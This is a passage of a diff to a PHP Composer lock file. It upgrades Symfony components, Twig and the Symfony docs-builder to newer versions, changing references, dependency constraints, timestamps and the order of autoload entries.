+                "symfony/phpunit-bridge": "^5.2 || ^6.0",
+                "symfony/process": "^5.2 || ^6.0"
             },
+            "bin": [
+                "bin/docs-builder"
+            ],
             "type": "project",
             "autoload": {
                 "psr-4": {
@@ -395,34 +398,35 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.2"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.9"
             },
-            "time": "2021-10-15T07:59:06+00:00"
+            "time": "2022-03-22T14:32:49+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "5.4.x-dev",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29"
+                "reference": "ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
-                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
+                "url": "https://api.github.com/repos/symfony/console/zipball/ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b",
+                "reference": "ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/deprecation-contracts": "^2.1",
+                "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php73": "^1.8",
+                "symfony/polyfill-php73": "^1.9",
                 "symfony/polyfill-php80": "^1.16",
-                "symfony/service-contracts": "^1.1|^2",
+                "symfony/service-contracts": "^1.1|^2|^3",
                 "symfony/string": "^5.1|^6.0"
             },
             "conflict": {
+                "psr/log": ">=3",
                 "symfony/dependency-injection": "<4.4",
                 "symfony/dotenv": "<5.1",
                 "symfony/event-dispatcher": "<4.4",
@@ -479,7 +483,7 @@
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/5.4"
+                "source": "https://github.com/symfony/console/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -495,20 +499,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-11-03T09:24:47+00:00"
+            "time": "2022-04-12T16:02:29+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v5.3.4",
+            "version": "v5.4.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "7fb120adc7f600a59027775b224c13a33530dd90"
+                "reference": "b0a190285cd95cb019237851205b8140ef6e368e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/7fb120adc7f600a59027775b224c13a33530dd90",
-                "reference": "7fb120adc7f600a59027775b224c13a33530dd90",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/b0a190285cd95cb019237851205b8140ef6e368e",
+                "reference": "b0a190285cd95cb019237851205b8140ef6e368e",
                 "shasum": ""
             },
             "require": {
@@ -545,7 +549,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v5.3.4"
+                "source": "https://github.com/symfony/css-selector/tree/v5.4.3"
             },
             "funding": [
                 {
@@ -561,20 +565,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-07-21T12:38:00+00:00"
+            "time": "2022-01-02T09:53:40+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v2.4.0",
+            "version": "v2.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627"
+                "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/5f38c8804a9e97d23e0c8d63341088cd8a22d627",
-                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e8b495ea28c1d97b5e0c121748d6f9b53d075c66",
+                "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66",
                 "shasum": ""
             },
             "require": {
@@ -583,7 +587,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.4-dev"
+                    "dev-main": "2.5-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -612,7 +616,7 @@
             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.4.0"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.5.1"
             },
             "funding": [
                 {
@@ -628,25 +632,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-23T23:28:01+00:00"
+            "time": "2022-01-02T09:53:40+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v5.3.7",
+            "version": "v5.4.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c"
+                "reference": "c0bda97480d96337bd3866026159a8b358665457"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
-                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c0bda97480d96337bd3866026159a8b358665457",
+                "reference": "c0bda97480d96337bd3866026159a8b358665457",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/deprecation-contracts": "^2.1",
+                "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php80": "^1.16"
@@ -656,7 +660,7 @@
             },
             "require-dev": {
                 "masterminds/html5": "^2.6",
-                "symfony/css-selector": "^4.4|^5.0"
+                "symfony/css-selector": "^4.4|^5.0|^6.0"
             },
             "suggest": {
                 "symfony/css-selector": ""
@@ -687,7 +691,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v5.3.7"
+                "source": "https://github.com/symfony/dom-crawler/tree/v5.4.6"
             },
             "funding": [
                 {
@@ -703,25 +707,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-08-29T19:32:13+00:00"
+            "time": "2022-03-02T12:42:23+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v5.3.4",
+            "version": "v5.4.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32"
+                "reference": "3a4442138d80c9f7b600fb297534ac718b61d37f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/343f4fe324383ca46792cae728a3b6e2f708fb32",
-                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/3a4442138d80c9f7b600fb297534ac718b61d37f",
+                "reference": "3a4442138d80c9f7b600fb297534ac718b61d37f",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
                 "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-mbstring": "~1.8",
                 "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
@@ -750,7 +755,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v5.3.4"
+                "source": "https://github.com/symfony/filesystem/tree/v5.4.7"
             },
             "funding": [
                 {
@@ -766,24 +771,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-07-21T12:40:44+00:00"
+            "time": "2022-04-01T12:33:59+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v5.3.7",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93"
+                "reference": "9b630f3427f3ebe7cd346c277a1408b00249dad9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
-                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/9b630f3427f3ebe7cd346c277a1408b00249dad9",
+                "reference": "9b630f3427f3ebe7cd346c277a1408b00249dad9",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
@@ -812,7 +818,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v5.3.7"
+                "source": "https://github.com/symfony/finder/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -828,30 +834,30 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-08-04T21:20:46+00:00"
+            "time": "2022-04-15T08:07:45+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v5.3.10",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc"
+                "reference": "0dabec4e3898d3e00451dd47b5ef839168f9bbf5"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
-                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/0dabec4e3898d3e00451dd47b5ef839168f9bbf5",
+                "reference": "0dabec4e3898d3e00451dd47b5ef839168f9bbf5",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
                 "psr/log": "^1|^2|^3",
-                "symfony/deprecation-contracts": "^2.1",
+                "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/http-client-contracts": "^2.4",
                 "symfony/polyfill-php73": "^1.11",
                 "symfony/polyfill-php80": "^1.16",
-                "symfony/service-contracts": "^1.0|^2"
+                "symfony/service-contracts": "^1.0|^2|^3"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
@@ -868,10 +874,10 @@
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^4.4|^5.0",
-                "symfony/http-kernel": "^4.4.13|^5.1.5",
-                "symfony/process": "^4.4|^5.0",
-                "symfony/stopwatch": "^4.4|^5.0"
+                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
+                "symfony/http-kernel": "^4.4.13|^5.1.5|^6.0",
+                "symfony/process": "^4.4|^5.0|^6.0",
+                "symfony/stopwatch": "^4.4|^5.0|^6.0"
             },
             "type": "library",
             "autoload": {
@@ -899,7 +905,7 @@
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v5.3.10"
+                "source": "https://github.com/symfony/http-client/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -915,20 +921,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-10-19T08:32:53+00:00"
+            "time": "2022-04-12T16:02:29+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v2.4.0",
+            "version": "v2.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4"
+                "reference": "1a4f708e4e87f335d1b1be6148060739152f0bd5"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
-                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/1a4f708e4e87f335d1b1be6148060739152f0bd5",
+                "reference": "1a4f708e4e87f335d1b1be6148060739152f0bd5",
                 "shasum": ""
             },
             "require": {
@@ -940,7 +946,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.4-dev"
+                    "dev-main": "2.5-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -977,7 +983,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v2.4.0"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v2.5.1"
             },
             "funding": [
                 {
@@ -993,25 +999,28 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-04-11T23:07:08+00:00"
+            "time": "2022-03-13T20:07:29+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.23.0",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce"
+                "reference": "30885182c981ab175d4d034db0f6f469898070ab"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/46cd95797e9df938fdd2b03693b5fca5e64b01ce",
-                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/30885182c981ab175d4d034db0f6f469898070ab",
+                "reference": "30885182c981ab175d4d034db0f6f469898070ab",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.1"
             },
+            "provide": {
+                "ext-ctype": "*"
+            },
             "suggest": {
                 "ext-ctype": "For best performance"
             },
@@ -1026,12 +1035,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Ctype\\": ""
-                },
                 "files": [
                     "bootstrap.php"
-                ]
+                ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Ctype\\": ""
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1056,7 +1065,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.23.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1072,20 +1081,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-19T12:13:01+00:00"
+            "time": "2021-10-20T20:35:02+00:00"
         },
         {
             "name": "symfony/polyfill-intl-grapheme",
-            "version": "v1.23.1",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
-                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535"
+                "reference": "81b86b50cf841a64252b439e738e97f4a34e2783"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/16880ba9c5ebe3642d1995ab866db29270b36535",
-                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/81b86b50cf841a64252b439e738e97f4a34e2783",
+                "reference": "81b86b50cf841a64252b439e738e97f4a34e2783",
                 "shasum": ""
             },
             "require": {
@@ -1105,12 +1114,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Intl\\Grapheme\\": ""
-                },
                 "files": [
                     "bootstrap.php"
-                ]
+                ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Intl\\Grapheme\\": ""
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1137,7 +1146,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.23.1"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1153,11 +1162,11 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-05-27T12:26:48+00:00"
+            "time": "2021-11-23T21:10:46+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.23.0",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
@@ -1186,12 +1195,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Intl\\Normalizer\\": ""
-                },
                 "files": [
                     "bootstrap.php"
                 ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Intl\\Normalizer\\": ""
+                },
                 "classmap": [
                     "Resources/stubs"
                 ]
@@ -1221,7 +1230,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.23.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1241,21 +1250,24 @@
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.23.1",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6"
+                "reference": "0abb51d2f102e00a4eefcf46ba7fec406d245825"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9174a3d80210dca8daa7f31fec659150bbeabfc6",
-                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/0abb51d2f102e00a4eefcf46ba7fec406d245825",
+                "reference": "0abb51d2f102e00a4eefcf46ba7fec406d245825",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.1"
             },
+            "provide": {
+                "ext-mbstring": "*"
+            },
             "suggest": {
                 "ext-mbstring": "For best performance"
             },
@@ -1270,12 +1282,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Mbstring\\": ""
-                },
                 "files": [
                     "bootstrap.php"
-                ]
+                ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Mbstring\\": ""
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1301,7 +1313,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.23.1"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1317,20 +1329,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-05-27T12:26:48+00:00"
+            "time": "2021-11-30T18:21:41+00:00"
         },
         {
             "name": "symfony/polyfill-php73",
-            "version": "v1.23.0",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010"
+                "reference": "cc5db0e22b3cb4111010e48785a97f670b350ca5"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/fba8933c384d6476ab14fb7b8526e5287ca7e010",
-                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/cc5db0e22b3cb4111010e48785a97f670b350ca5",
+                "reference": "cc5db0e22b3cb4111010e48785a97f670b350ca5",
                 "shasum": ""
             },
             "require": {
@@ -1347,12 +1359,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php73\\": ""
-                },
                 "files": [
                     "bootstrap.php"
                 ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php73\\": ""
+                },
                 "classmap": [
                     "Resources/stubs"
                 ]
@@ -1380,7 +1392,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.23.0"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1396,20 +1408,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-19T12:13:01+00:00"
+            "time": "2021-06-05T21:20:04+00:00"
         },
         {
             "name": "symfony/polyfill-php80",
-            "version": "v1.23.1",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be"
+                "reference": "4407588e0d3f1f52efb65fbe92babe41f37fe50c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/1100343ed1a92e3a38f9ae122fc0eb21602547be",
-                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/4407588e0d3f1f52efb65fbe92babe41f37fe50c",
+                "reference": "4407588e0d3f1f52efb65fbe92babe41f37fe50c",
                 "shasum": ""
             },
             "require": {
@@ -1426,12 +1438,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php80\\": ""
-                },
                 "files": [
                     "bootstrap.php"
                 ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php80\\": ""
+                },
                 "classmap": [
                     "Resources/stubs"
                 ]
@@ -1463,7 +1475,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.23.1"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1479,20 +1491,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-07-28T13:41:28+00:00"
+            "time": "2022-03-04T08:16:47+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "5.4.x-dev",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f"
+                "reference": "597f3fff8e3e91836bb0bd38f5718b56ddbde2f3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/6bacc79268fb8a2fac52c9f66afe5e041220233f",
-                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f",
+                "url": "https://api.github.com/repos/symfony/process/zipball/597f3fff8e3e91836bb0bd38f5718b56ddbde2f3",
+                "reference": "597f3fff8e3e91836bb0bd38f5718b56ddbde2f3",
                 "shasum": ""
             },
             "require": {
@@ -1525,7 +1537,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/5.4"
+                "source": "https://github.com/symfony/process/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -1541,25 +1553,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-11-03T09:24:47+00:00"
+            "time": "2022-04-08T05:07:18+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v2.4.0",
+            "version": "v2.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb"
+                "reference": "24d9dc654b83e91aa59f9d167b131bc3b5bea24c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
-                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/24d9dc654b83e91aa59f9d167b131bc3b5bea24c",
+                "reference": "24d9dc654b83e91aa59f9d167b131bc3b5bea24c",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "psr/container": "^1.1"
+                "psr/container": "^1.1",
+                "symfony/deprecation-contracts": "^2.1|^3"
+            },
+            "conflict": {
+                "ext-psr": "<1.1|>=2"
             },
             "suggest": {
                 "symfony/service-implementation": ""
@@ -1567,7 +1583,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.4-dev"
+                    "dev-main": "2.5-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1604,7 +1620,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v2.4.0"
+                "source": "https://github.com/symfony/service-contracts/tree/v2.5.1"
             },
             "funding": [
                 {
@@ -1620,20 +1636,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-04-01T10:43:52+00:00"
+            "time": "2022-03-13T20:07:29+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v5.3.10",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c"
+                "reference": "3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
-                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
+                "url": "https://api.github.com/repos/symfony/string/zipball/3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8",
+                "reference": "3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8",
                 "shasum": ""
             },
             "require": {
@@ -1644,20 +1660,23 @@
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php80": "~1.15"
             },
+            "conflict": {
+                "symfony/translation-contracts": ">=3.0"
+            },
             "require-dev": {
-                "symfony/error-handler": "^4.4|^5.0",
-                "symfony/http-client": "^4.4|^5.0",
+                "symfony/error-handler": "^4.4|^5.0|^6.0",
+                "symfony/http-client": "^4.4|^5.0|^6.0",
                 "symfony/translation-contracts": "^1.1|^2",
-                "symfony/var-exporter": "^4.4|^5.0"
+                "symfony/var-exporter": "^4.4|^5.0|^6.0"
             },
             "type": "library",
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Component\\String\\": ""
-                },
                 "files": [
                     "Resources/functions.php"
                 ],
+                "psr-4": {
+                    "Symfony\\Component\\String\\": ""
+                },
                 "exclude-from-classmap": [
                     "/Tests/"
                 ]
@@ -1687,7 +1706,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v5.3.10"
+                "source": "https://github.com/symfony/string/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -1703,20 +1722,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-10-27T18:21:46+00:00"
+            "time": "2022-04-19T10:40:37+00:00"
         },
         {
             "name": "symfony/translation-contracts",
-            "version": "v2.4.0",
+            "version": "v2.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/translation-contracts.git",
-                "reference": "95c812666f3e91db75385749fe219c5e494c7f95"
+                "reference": "1211df0afa701e45a04253110e959d4af4ef0f07"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/95c812666f3e91db75385749fe219c5e494c7f95",
-                "reference": "95c812666f3e91db75385749fe219c5e494c7f95",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/1211df0afa701e45a04253110e959d4af4ef0f07",
+                "reference": "1211df0afa701e45a04253110e959d4af4ef0f07",
                 "shasum": ""
             },
             "require": {
@@ -1728,7 +1747,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.4-dev"
+                    "dev-main": "2.5-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1765,7 +1784,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/translation-contracts/tree/v2.4.0"
+                "source": "https://github.com/symfony/translation-contracts/tree/v2.5.1"
             },
             "funding": [
                 {
@@ -1781,20 +1800,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-23T23:28:01+00:00"
+            "time": "2022-01-02T09:53:40+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v3.3.3",
+            "version": "v3.3.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569"
+                "reference": "8442df056c51b706793adf80a9fd363406dd3674"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a27fa056df8a6384316288ca8b0fa3a35fdeb569",
-                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/8442df056c51b706793adf80a9fd363406dd3674",
+                "reference": "8442df056c51b706793adf80a9fd363406dd3674",
                 "shasum": ""
             },
             "require": {
@@ -1845,7 +1864,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.3.3"
+                "source": "https://github.com/twigphp/Twig/tree/v3.3.10"
             },
             "funding": [
                 {
@@ -1857,7 +1876,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-09-17T08:44:23+00:00"
+            "time": "2022-04-06T06:47:41+00:00"
         }
     ],
     "packages-dev": [],
@@ -1873,5 +1892,5 @@
     "platform-overrides": {
         "php": "7.4.14"
     },
-    "plugin-api-version": "2.1.0"
+    "plugin-api-version": "2.2.0"
 }

